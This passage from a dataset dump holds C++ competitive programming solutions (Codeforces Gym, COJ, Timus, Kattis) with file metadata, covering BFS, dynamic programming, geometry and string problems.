ql, qr));\n}\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n // freopen(\"dat.txt\",\"r\",stdin);\n\n cin >> s;\n\n build(1, 1, s.size());\n\n int n;\n cin >> n;\n while (n--) {\n int l, r;\n cin >> l >> r;\n cout << query(1, 1, s.size(), l, r).res << \"\\n\";\n }\n}\n" }, { "alpha_fraction": 0.3427331745624542, "alphanum_fraction": 0.36731743812561035, "avg_line_length": 15.865853309631348, "blob_id": "5484284a43845865295e77fbaf88e66290e366c7", "content_id": "ccbe6153579e38c35c12848c2099e4ad50729cb6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1383, "license_type": "no_license", "max_line_length": 66, "num_lines": 82, "path": "/Codeforces-Gym/100703 - 2015 V (XVI) Volga Region Open Team Student Programming Contest/K.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2015 V (XVI) Volga Region Open Team Student Programming Contest\n// 100703K\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nint as, fs;\nint n;\n\nint qA[300];\nint qF[300];\n\nint ok( string s, int p ){\n if( as > p || fs > s.size() - p ){\n return -1;\n }\n\n int enqA =0, enqF = 0, deqA = 0, deqF = 0;\n\n int outp = 0;\n\n for( int i = p; i < n; i++ ){\n if( s[i] == 'A' ){\n qA[ enqA++ ] = i;\n }\n }\n\n for( int i = p-1; i >= 0; i-- ){\n if( s[i] == 'F' ){\n qF[ enqF++ ] = i;\n }\n }\n\n while( (enqA - deqA) && (enqF - deqF) ){\n int a = qA[ deqA++ ];\n int f = qF[ deqF++ ];\n\n outp += abs( a - f );\n }\n\n while( (enqF - deqF) && !(enqA - deqA) ){\n outp += p - qF[ deqF++ ];\n }\n while( !(enqF - deqF) && (enqA - deqA) ){\n outp += qA[ deqA++ ] - (p-1);\n }\n\n return outp;\n}\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n cin >> n;\n\n string s; cin >> s;\n\n as = fs = 0;\n\n for( int i = 0; i < n; i++ ){\n if( s[i] == 'A' ){\n as++;\n }\n else if( s[i] == 'F' ){\n fs++;\n }\n }\n\n int outp = (1<<29);\n\n for( int i = 0, z; i < n; i++ ){\n if( (z = ok( s , i )) != -1 ){\n outp = min( outp , z );\n }\n }\n\n cout << outp << '\\n';\n}\n" }, { "alpha_fraction": 0.3080808222293854, "alphanum_fraction": 0.32884398102760315, "avg_line_length": 19.469879150390625, "blob_id": "3084f7463a512b27e57bd37abc5f44472ea12b2d", "content_id": "829d79ae3a6ddd7ba3df9276c7632d3bef5764f0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1782, "license_type": "no_license", "max_line_length": 59, "num_lines": 83, "path": "/COJ/eliogovea-cojAC/eliogovea-p2559-Accepted-s926501.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 505;\r\n\r\nconst int INF = 1e8;\r\n\r\nconst int dx[] = {-1, 0, 1, 0};\r\nconst int dy[] = {0, -1, 0, 1};\r\n\r\nint r, c;\r\nint h[N][N];\r\n\r\nint dist[N][N];\r\nbool mark[N][N];\r\n\r\nqueue <pair <int, int> > Q;\r\n\r\nbool check(int t) {\r\n for (int i = 1; i <= r; i++) {\r\n for (int j = 1; j <= c; j++) {\r\n mark[i][j] = false;\r\n dist[i][j] = INF;\r\n }\r\n }\r\n dist[1][1] = t;\r\n Q = queue <pair <int, int> >();\r\n Q.push(make_pair(1, 1));\r\n while (!Q.empty() && !mark[r][c]) {\r\n int x = Q.front().first;\r\n int y = Q.front().second;\r\n int d = dist[x][y];\r\n Q.pop();\r\n if (mark[x][y]) {\r\n continue;\r\n }\r\n mark[x][y] = true;\r\n for (int i = 0; i < 4; i++) {\r\n int xx = x + dx[i];\r\n int yy = y + dy[i];\r\n if (xx >= 1 && xx <= r && yy >= 1 && yy <= c) {\r\n if (d + 1 < h[xx][yy]) {\r\n if (dist[xx][yy] > d + 1) {\r\n dist[xx][yy] = d + 1;\r\n Q.push(make_pair(xx, yy));\r\n }\r\n }\r\n }\r\n }\r\n }\r\n\r\n return mark[r][c];\r\n}\r\n\r\nint main()\r\n{\r\n ios::sync_with_stdio(false);\r\n cin.tie(0);\r\n\r\n //freopen(\"dat.txt\", \"r\", stdin);\r\n\r\n cin >> r >> c;\r\n for (int i = 1; i <= r; i++) {\r\n for (int j = 1; j <= c; j++) {\r\n cin >> h[i][j];\r\n }\r\n }\r\n\r\n int lo = 0;\r\n int hi = h[1][1] - 1;\r\n int ans = -1;\r\n while (lo <= hi) {\r\n int mid = (lo + hi) >> 1;\r\n if (check(mid)) {\r\n ans = mid;\r\n lo = mid + 1;\r\n } else {\r\n hi = mid - 1;\r\n }\r\n }\r\n cout << ans << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.37720707058906555, "alphanum_fraction": 0.42696627974510193, "avg_line_length": 21.074073791503906, "blob_id": "902e70c6b0f885f739cee2ac74d3e7a7308e9e6f", "content_id": "00fcda39c182ae9b85fd3703ed64c26eb0585755", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 623, "license_type": "no_license", "max_line_length": 72, "num_lines": 27, "path": "/COJ/eliogovea-cojAC/eliogovea-p1297-Accepted-s471623.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\n#include<cstring>\r\n#include<algorithm>\r\nusing namespace std;\r\n\r\nchar a[1001];\r\n\r\nint n,s,s1,s2;\r\n\r\nint main()\r\n{\r\n cin >> n;\r\n while(n--)\r\n {\r\n s=s1=s2=0;\r\n cin >> a;\r\n int l=strlen(a);\r\n if(a[l-1]!='0' && a[l-1]!='5'){cout << \"NO\" << endl;continue;}\r\n for(int i=0; i<l; i++)s+=(a[i]-'0');\r\n if(s%9!=0){cout << \"NO\" << endl; continue;}\r\n for(int i=0; i<l; i+=2)s1+=(a[i]-'0');\r\n for(int i=1; i<l; i+=2)s2+=(a[i]-'0');\r\n if((abs(s1-s2))%11!=0){cout << \"NO\" << endl;continue;}\r\n cout << \"YES\" << endl;\r\n }\r\nreturn 0;\r\n}\r\n" }, { "alpha_fraction": 0.33558863401412964, "alphanum_fraction": 0.3849796950817108, "avg_line_length": 16.475000381469727, "blob_id": "278ecebc8c2dfe6b3d6a65ac2c88755c3bdbb87a", "content_id": "dcf6bb1289cc7efc738dc2004178cb97f25b3f6c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1478, "license_type": "no_license", "max_line_length": 96, "num_lines": 80, "path": "/COJ/eliogovea-cojAC/eliogovea-p4097-Accepted-s1294958.cc", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 1000 + 10;\r\n\r\nint n;\r\ndouble p[2 * N];\r\ndouble sp[2 * N];\r\nbool solved[2 * N][2 * N][5];\r\ndouble dp[2 * N][2 * N][5];\r\n\r\ndouble solve(int l, int r, int x) {\r\n\tif (solved[l][r][x]) {\r\n\t\treturn dp[l][r][x];\r\n\t}\r\n\r\n\tif (l == 0 && r == 2 * n - 1) {\r\n\t\treturn 0;\r\n\t}\r\n\r\n\tsolved[l][r][x] = true;\r\n\tdouble res = -1.0;\r\n\r\n\tif (x == 0) {\r\n\t\tif (l - 1 >= 0) {\r\n\t\t\tdouble ee = 1.0 - (sp[r + 1] - sp[l]) + solve(l - 1, r, 0);\r\n\t\t\tif (res < -0.5 || ee < res) {\r\n\t\t\t\tres = ee;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tif (r + 1 < 2 * n) {\r\n\t\t\tdouble ee = ((double)r - (double)l + 2.0) * (1.0 - (sp[r + 1] - sp[l])) + solve(l, r + 1, 1);\r\n\t\t\tif (res < -0.5 || ee < res) {\r\n\t\t\t\tres = ee;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\tif (x == 1) {\r\n\t\tif (l - 1 >= 0) {\r\n\t\t\tdouble ee = ((double)r - (double)l + 2.0) * (1.0 - (sp[r + 1] - sp[l])) + solve(l - 1, r, 0);\r\n\t\t\tif (res < -0.5 || ee < res) {\r\n\t\t\t\tres = ee;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tif (r + 1 < 2 * n) {\r\n\t\t\tdouble ee = 1.0 - (sp[r + 1] - sp[l]) + solve(l, r + 1, 1);\r\n\t\t\tif (res < -0.5 || ee < res) {\r\n\t\t\t\tres = ee;\r\n\t\t\t}\r\n\t\t}\r\n\t\t\r\n\t}\r\n\r\n\t// cerr << l << \" \" << r << \" \" << x << \" \" << res << \"\\n\";\r\n\r\n\tdp[l][r][x] = res;\r\n\treturn res;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\tcin >> n;\r\n\r\n\tfor (int i = 0; i < 2 * n; i++) {\r\n\t\tcin >> p[i];\r\n\t\tsp[i + 1] = sp[i] + p[i];\r\n\t}\r\n\r\n\tdouble res = 1.0 + min(solve(n - 1, n - 1, 0), solve(n, n, 1));\r\n\r\n\tcout.precision(6);\r\n\tcout << fixed << res << \"\\n\";\r\n\r\n}\r\n" }, { "alpha_fraction": 0.3499999940395355, "alphanum_fraction": 0.3938775658607483, "avg_line_length": 21.76744270324707, "blob_id": "3305087414ea09eb0f17815c9f4bcb1a7445fbca", "content_id": "7c77181f6120e5936d91b482823b6aa5060e7df6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 980, "license_type": "no_license", "max_line_length": 121, "num_lines": 43, "path": "/Codeforces-Gym/100503 - 2014-2015 CT S02E05: Codeforces Trainings Season 2 Episode 5 - 2009-2010 ACM-ICPC, NEERC, Southern Subregional Contest/G.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2014-2015 CT S02E05: Codeforces Trainings Season 2 Episode 5 - 2009-2010 ACM-ICPC, NEERC, Southern Subregional Contest\n// 100503G\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nint n;\nstring s;\n\nint main(){\n\tios::sync_with_stdio(0);\n\tcin.tie(0);\n freopen( \"input.txt\", \"r\", stdin );\n freopen( \"output.txt\", \"w\", stdout );\n\tcin >> n;\n for( int i = 1; i <= n; i++ ){\n cin >> s;\n int len = s.size();\n if( ( s[len-2]=='c' && s[len-1] == 'h' ) || s[len-1] =='x' || s[len-1]=='s' || s[len-1] == 'o' ){\n cout << s << \"es\\n\";\n }\n else if( s[len-1]=='f' ){\n s[len-1] = 'v';\n cout << s << \"es\\n\";\n }\n else if( s[len-2] == 'f' && s[len-1] == 'e' ){\n s[len-2] = 'v';\n cout << s << \"s\\n\";\n }\n else if( s[len-1] == 'y' ){\n s[len-1] = 'i';\n cout << s << \"es\\n\";\n\n }\n else{\n cout << s << \"s\\n\";\n }\n\n\n }\n\n}\n\n" }, { "alpha_fraction": 0.32875144481658936, "alphanum_fraction": 0.36655211448669434, "avg_line_length": 20.384614944458008, "blob_id": "d119e2e3d5e99a5be8acede7ce39f646bdcbca9d", "content_id": "34fdce03f8bd6424d7d7b33a50df7062dbc36cfe", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 873, "license_type": "no_license", "max_line_length": 78, "num_lines": 39, "path": "/COJ/eliogovea-cojAC/eliogovea-p3919-Accepted-s1123037.cc", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 1005;\r\n\r\ndouble dp[N][N];\r\n\r\ndouble c(double x) {\r\n\treturn x * (x - 1.0) / 2.0;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\tint n, x, y;\r\n\tcin >> n >> x >> y;\r\n\tdp[0][x] = 1.0;\r\n\tfor (int i = 0; i < n - 1; i++) {\r\n\t\tint t = n - i;\r\n\t\tfor (int p = 1; p < t; p++) {\r\n\t\t\tdp[i + 1][p] += dp[i][p] * (c(t - p) + (double)p * (double)(t - p)) / c(t);\r\n\t\t\tif (p != 1) {\r\n\t\t\t\tdp[i + 1][p - 1] += dp[i][p] * c(p - 1) / c(t);\r\n\t\t\t}\r\n dp[i + 1][t] += dp[i][p] * ((double)(p - 1) / c(t));\r\n\t\t}\r\n\t\tdp[i + 1][t] += dp[i][t] * (double)(t - 1.0) / c(t);\r\n\t\tif (t != 1) {\r\n dp[i + 1][t - 1] += dp[i][t] * c(t - 1) / c(t);\r\n\t\t}\r\n\t\tfor (int p = t + 1; p <= n; p++) {\r\n dp[i + 1][p] += dp[i][p];\r\n\t\t}\r\n\t}\r\n\tcout.precision(4);\r\n\tcout << fixed << dp[n - 1][y] << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.3684820532798767, "alphanum_fraction": 0.4136732220649719, "avg_line_length": 16.46808433532715, "blob_id": "41e7db1e5deacafaf520441dd3b97f32095a6c3c", "content_id": "0ce236c7e5aa0748f7fa151125aa8c115ce20e86", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 863, "license_type": "no_license", "max_line_length": 75, "num_lines": 47, "path": "/Timus/1297-6165745.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// Problem: pace=1&num=1297\n// Verdict: Accepted\n\n#include <iostream>\r\n#include <fstream>\r\n\r\nusing namespace std;\r\n\r\n/// Timus - 1297. Palindrome (97)\r\n\r\nstring s;\r\nbool dp[1005][1005];\r\n\r\nint main() {\r\n\t//freopen(\"data.txt\", \"r\", stdin);\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> s;\r\n\tint n = s.size();\r\n\tint pos = 0;\r\n\tint len = 1;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tdp[i][i] = true;\r\n\t}\r\n\tfor (int i = 0; i + 1 < n; i++) {\r\n\t\tdp[i][i + 1] = (s[i] == s[i + 1]);\r\n\t\tif (dp[i][i + 1] && len < 2) {\r\n\t\t\tpos = i;\r\n\t\t\tlen = 2;\r\n\t\t}\r\n\t}\r\n\r\n\tfor (int l = 3; l <= n; l++) {\r\n\t\tfor (int i = 0; i + l - 1 < n; i++) {\r\n\t\t\tdp[i][i + l - 1] = (dp[i + 1][i + l - 1 - 1] && (s[i] == s[i + l - 1]));\r\n\t\t\tif (dp[i][i + l - 1] && l > len) {\r\n\t\t\t\tpos = i;\r\n\t\t\t\tlen = l;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\tfor (int i = pos; i < pos + len; i++) {\r\n\t\tcout << s[i];\r\n\t}\r\n\tcout << \"\\n\";\r\n}" }, { "alpha_fraction": 0.39736407995224, "alphanum_fraction": 0.42075783014297485, "avg_line_length": 19.524822235107422, "blob_id": "6f59de3f56877bda3ded0ecbd609d1c5487e94cc", "content_id": "003892fd3b24c2532fc10ac1a20f0101f623232a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3035, "license_type": "no_license", "max_line_length": 86, "num_lines": 141, "path": "/Kattis/unusualdarts.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst double EPS = 1e-10;\r\n\r\ninline int sign(double x) {\r\n\tif (x > EPS) {\r\n\t\treturn 1;\r\n\t}\r\n\tif (x < -EPS) {\r\n\t\treturn -1;\r\n\t}\r\n\treturn 0;\r\n}\r\n\r\nstruct pt {\r\n\tdouble x, y;\r\n\tpt() {}\r\n\tpt(double _x, double _y) : x(_x), y(_y) {}\r\n};\r\n\r\npt operator - (const pt &a, const pt &b) {\r\n\treturn pt(a.x - b.x, a.y - b.y);\r\n}\r\n\r\ndouble cross(const pt &a, const pt &b) {\r\n\treturn a.x * b.y - a.y * b.x;\r\n}\r\n\r\nstruct rect {\r\n\tdouble a, b, c;\r\n\trect() {}\r\n\trect(double _a, double _b, double _c) : a(_a), b(_b), c(_c) {}\r\n\trect(pt p1, pt p2) {\r\n\t\tdouble dx = p2.x - p1.x;\r\n\t\tdouble dy = p2.y - p1.y;\r\n\t\ta = dy;\r\n\t\tb = -dx;\r\n\t\tc = a * p1.x + b * p1.y;\r\n\t}\r\n};\r\n\r\ninline bool intersect(rect a, rect b, pt &P) {\r\n\tdouble D = a.a * b.b - a.b * b.a;\r\n\tif (abs(D) < EPS) {\r\n\t\treturn false;\r\n\t}\r\n\tdouble D1 = a.c * b.b - a.b * b.c;\r\n\tdouble D2 = a.a * b.c - a.c * b.a;\r\n\tP.x = D1 / D;\r\n\tP.y = D2 / D;\r\n\treturn true;\r\n}\r\n\r\ninline bool isIn(double l, double r, double x) {\r\n if (l > r) {\r\n swap(l, r);\r\n }\r\n\treturn (l - EPS <= x && x <= r + EPS);\r\n}\r\n\r\ninline bool contains(pt a, pt b, pt p) {\r\n\treturn (isIn(a.x, b.x, p.x) && isIn(a.y, b.y, p.y));\r\n}\r\n\r\ninline bool intersect(pt a, pt b, pt c, pt d) {\r\n\trect rab = rect(a, b);\r\n\trect rcd = rect(c, d);\r\n\tpt P;\r\n\tif (!intersect(rab, rcd, P)) {\r\n\t\treturn false;\r\n\t}\r\n\treturn (contains(a, b, P) && contains(c, d, P));\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n //cerr.precision(5);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\tint t;\r\n\tvector <pt> pts(7);\r\n\tdouble p;\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tfor (int i = 0; i < 7; i++) {\r\n\t\t\tcin >> pts[i].x >> pts[i].y;\r\n\t\t}\r\n\t\tcin >> p;\r\n\t\tvector <int> v(7);\r\n\t\tfor (int i = 0; i < 7; i++) {\r\n\t\t\tv[i] = i;\r\n\t\t}\r\n\t\tbool ans = false;\r\n\t\tdo {\r\n\t\t\tbool ok = true;\r\n\t\t\tfor (int i = 1; i < 6 && ok; i++) {\r\n\t\t\t\tfor (int j = i + 2; j < 7 && ok; j++) {\r\n\t\t\t\t\tif (intersect(pts[v[i]], pts[v[i + 1]], pts[v[j]], pts[v[j == 6 ? 0 : j + 1]])) {\r\n\t\t\t\t\t\tok = false;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tfor (int i = 1; i <= 4 && ok; i++) {\r\n if (intersect(pts[v[i]], pts[v[i + 1]], pts[v[0]], pts[v[6]])) {\r\n ok = false;\r\n }\r\n\t\t\t}\r\n\t\t\tfor (int i = 2; i <= 5 && ok; i++) {\r\n if (intersect(pts[v[i]], pts[v[i + 1]], pts[v[0]], pts[v[1]])) {\r\n ok = false;\r\n }\r\n\t\t\t}\r\n\t\t\tif (!ok) {\r\n\t\t\t\tcontinue;\r\n\t\t\t}\r\n\t\t\tdouble area = 0.0;\r\n\t\t\tfor (int i = 1; i < 6; i++) {\r\n\t\t\t\tarea += cross(pts[v[i]] - pts[v[0]], pts[v[i + 1]] - pts[v[0]]);\r\n\t\t\t}\r\n\t\t\tarea = abs(area);\r\n\t\t\tarea /= 2.0;\r\n\t\t\tarea = area * area * area;\r\n\t\t\tif (abs(area / (4.0 * 4.0 * 4.0) - p) < 1e-5 + EPS) {\r\n //cerr << fixed << abs(area / (4.0 * 4.0 * 4.0) - p) << \"\\n\";\r\n\t\t\t\tans = true;\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t} while (next_permutation(v.begin(), v.end()));\r\n\t\tassert(ans);\r\n\t\t//cerr << (ans ? \"OK\" : \"WRONG\") << \"\\n\";\r\n\t\tfor (int i = 0; i < 7; i++) {\r\n\t\t\tcout << v[i] + 1;\r\n\t\t\tif (i < 6) {\r\n\t\t\t\tcout << \" \";\r\n\t\t\t}\r\n\t\t}\r\n\t\tcout << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.37837839126586914, "alphanum_fraction": 0.4189189076423645, "avg_line_length": 14, "blob_id": "4f4f3747de281cddc7ac6b4e36deed23397f4b26", "content_id": "c10f3f1049c732d1eeb85e2f16bfc1fef382c274", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 222, "license_type": "no_license", "max_line_length": 44, "num_lines": 14, "path": "/COJ/eliogovea-cojAC/eliogovea-p1661-Accepted-s718232.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n\r\nusing namespace std;\r\n\r\nlong long n, a[55];\r\n\r\nint main() {\r\n\ta[0] = 1;\r\n\tfor (int i = 0; i < 50; i++) {\r\n\t\ta[i + 1] += a[i];\r\n\t\ta[i + 2] += a[i];\r\n\t}\r\n\twhile (cin >> n && n) cout << a[n] << \"\\n\";\r\n}" }, { "alpha_fraction": 0.5037878751754761, "alphanum_fraction": 0.5265151262283325, "avg_line_length": 14.5, "blob_id": "1f86f43b5410f5116fab2bf9d5399878eb64a559", "content_id": "a1306231f88e1c6d813480bc085ed0bb224c3eee", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 264, "license_type": "no_license", "max_line_length": 41, "num_lines": 16, "path": "/COJ/eliogovea-cojAC/eliogovea-p2641-Accepted-s536767.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\n#include<cstdio>\r\n#include<algorithm>\r\n#include<cmath>\r\nusing namespace std;\r\n\r\ndouble h,m;\r\n\r\nint main()\r\n{\r\n scanf(\"%lf%lf\",&h,&m);\r\n printf(\"%.0lf\\n\",h-1);\r\n for(int i=0; i<h-1; i++)\r\n printf(\"%d:%.1lf\\n\",i,i*m/(h-1));\r\n\r\n}\r\n" }, { "alpha_fraction": 0.3221970498561859, "alphanum_fraction": 0.34088334441185, "avg_line_length": 21.864864349365234, "blob_id": "070406f05038007a0907cbec884213795dcc586e", "content_id": "b4cb0f72b67ba7d5541cc8d9bbed361942303738", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1766, "license_type": "no_license", "max_line_length": 99, "num_lines": 74, "path": "/COJ/eliogovea-cojAC/eliogovea-p2426-Accepted-s710214.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <map>\r\n#include <fstream>\r\n#include <queue>\r\n\r\nusing namespace std;\r\n\r\nint tc;\r\n\r\nstring ini, fin, s;\r\nmap<string, int> M;\r\nmap<string, int>::iterator it;\r\nqueue<string> Q;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0); cout.tie(0);\r\n\tcin >> tc;\r\n\tfor (int cas = 1; cas <= tc; cas++) {\r\n\t\tcin >> ini >> fin;\r\n\t\tM.clear();\r\n\t\twhile (!Q.empty()) Q.pop();\r\n\t\tM[ini] = 0;\r\n\t\tQ.push(ini);\r\n\t\twhile (!Q.empty()) {\r\n\t\t\ts = Q.front(); Q.pop();\r\n\t\t\tif (s == fin) break;\r\n\t\t\tint v = M[s] + 1;\r\n\t\t\t//cout << s1 << \" \" << M[s1] << \"\\n\";\r\n\t\t\tfor (int i = 0; i < 8; i++) {\r\n\t\t\t\tif (s[i] == 'B' || s[i] == 'R') {\r\n\t\t\t\t\tif (i + 1 < 8 && s[i + 1] == '.') {\r\n\t\t\t\t\t\tswap(s[i], s[i + 1]);\r\n\t\t\t\t\t\tif (M.find(s) == M.end() || M[s] > v) {\r\n\t\t\t\t\t\t\tM[s] = v;\r\n\t\t\t\t\t\t\tQ.push(s);\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\tswap(s[i], s[i + 1]);\r\n\t\t\t\t\t}\r\n\t\t\t\t\tif (i + 2 < 8 && (s[i + 1] == 'R' || s[i + 1] == 'G' || s[i + 1] == 'B') && s[i + 2] == '.') {\r\n\t\t\t\t\t\tswap(s[i], s[i + 2]);\r\n\t\t\t\t\t\tif (M.find(s) == M.end() || M[s] > v) {\r\n\t\t\t\t\t\t\tM[s] = v;\r\n\t\t\t\t\t\t\tQ.push(s);\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\tswap(s[i], s[i + 2]);\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\tif (s[i] == 'G' || s[i] == 'R') {\r\n\t\t\t\t\tif (i > 0 && s[i - 1] == '.') {\r\n\t\t\t\t\t\tswap(s[i], s[i - 1]);\r\n\t\t\t\t\t\tif (M.find(s) == M.end() || M[s] > v) {\r\n\t\t\t\t\t\t\tM[s] = v;\r\n\t\t\t\t\t\t\tQ.push(s);\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\tswap(s[i], s[i - 1]);\r\n\t\t\t\t\t}\r\n\t\t\t\t\tif (i > 1 && (s[i - 1] == 'G' || s[i - 1] == 'R' || s[i - 1] == 'B') && s[i - 2] == '.') {\r\n\t\t\t\t\t\tswap(s[i], s[i - 2]);\r\n\t\t\t\t\t\tif (M.find(s) == M.end() || M[s] > v) {\r\n\t\t\t\t\t\t\tM[s] = v;\r\n\t\t\t\t\t\t\tQ.push(s);\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\tswap(s[i], s[i - 2]);\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\tcout << \"Case \" << cas << \": \";\r\n\t\tit = M.find(fin);\r\n\t\tif (it == M.end()) cout << \"impossible\\n\";\r\n\t\telse cout << it->second << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3234567940235138, "alphanum_fraction": 0.35061728954315186, "avg_line_length": 12.464285850524902, "blob_id": "74066abee8691ad57ba9290e19930fbf8dbc69e6", "content_id": "c165a49d657b854c61555cda94933cc8aa1ce441", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 405, "license_type": "no_license", "max_line_length": 31, "num_lines": 28, "path": "/COJ/eliogovea-cojAC/eliogovea-p2652-Accepted-s539401.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n\r\nint h,m,k;\r\n\r\nint main()\r\n{\r\n scanf(\"%d%d%d\",&m,&h,&k);\r\n\r\n int sob = m-2*h;\r\n\r\n while(k>0)\r\n {\r\n while(m>2*h)m--,k--;\r\n if(k<=0)break;\r\n while(m<2*h)h--,k--;\r\n if(k<=0)break;\r\n h--;\r\n m-=2;\r\n k-=3;\r\n }\r\n\r\n //printf(\"%d %d\\n\",h,m);\r\n\r\n if(m==2*h)printf(\"%d\\n\",h);\r\n else printf(\"%d\\n\",m/2);\r\n\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.3508583605289459, "alphanum_fraction": 0.4002145826816559, "avg_line_length": 20.674419403076172, "blob_id": "edf6794d40c5aeca042658788e6df93da0a13a6b", "content_id": "849e64553fb7c917f2499535a72216e034ba244b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 932, "license_type": "no_license", "max_line_length": 146, "num_lines": 43, "path": "/Codeforces-Gym/100534 - 2014-2015 CT S02E10: Codeforces Trainings Season 2 Episode 10 - 2014 Amirkabir University of Technology Annual Programming Contest (AUT APC 14)/B.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2014-2015 CT S02E10: Codeforces Trainings Season 2 Episode 10 - 2014 Amirkabir University of Technology Annual Programming Contest (AUT APC 14)\n// 100534B\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n string b; cin >> b;\n int n = b.size();\n\n set<string> dic;\n\n int sol = 0;\n\n for(int i = 1; i <= n; i++){\n for(int j = i+1; j <= n; j++){\n string x = \"\";\n x += b[ i-1 ];\n x += b[ j-1 ];\n int a1 = i, a2 = j;\n while( a1 + a2 <= n ){\n x += b[a1+a2-1];\n int tmp = a1;\n a1 = a2;\n a2 = tmp + a2;\n }\n if( dic.find(x) == dic.end() ){\n sol++;\n dic.insert(x);\n }\n\n //cout << x << '\\n';\n }\n }\n\n cout << sol << '\\n';\n}\n" }, { "alpha_fraction": 0.4249347150325775, "alphanum_fraction": 0.4654046893119812, "avg_line_length": 16.609195709228516, "blob_id": "5317452977536d84aceec94e3fc46507b1dbf128", "content_id": "aab238ddb0469840b7c32d0eecf41fa935977660", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1532, "license_type": "no_license", "max_line_length": 63, "num_lines": 87, "path": "/Codeforces-Gym/100523 - 2014-2015 CT S02E07: Codeforces Trainings Season 2 Episode 7/K.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2014-2015 CT S02E07: Codeforces Trainings Season 2 Episode 7\n// 100523K\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef long long LL;\n\nstruct pt {\n\tLL x, y, z;\n\tpt() {}\n\tpt(LL _x, LL _y, LL _z) {\n\t\tx = _x;\n\t\ty = _y;\n\t\tz = _z;\n\t}\n};\n\npt operator - (const pt &a, const pt &b) {\n\treturn pt(a.x - b.x, a.y - b.y, a.z - b.z);\n}\n\npt cross(const pt &a, const pt &b) {\n\tLL x = a.y * b.z - a.z * b.y;\n\tLL y = -(a.x * b.z - a.z * b.x);\n\tLL z = a.x * b.y - a.y * b.x;\n\treturn pt(x, y, z);\n}\n\nLL 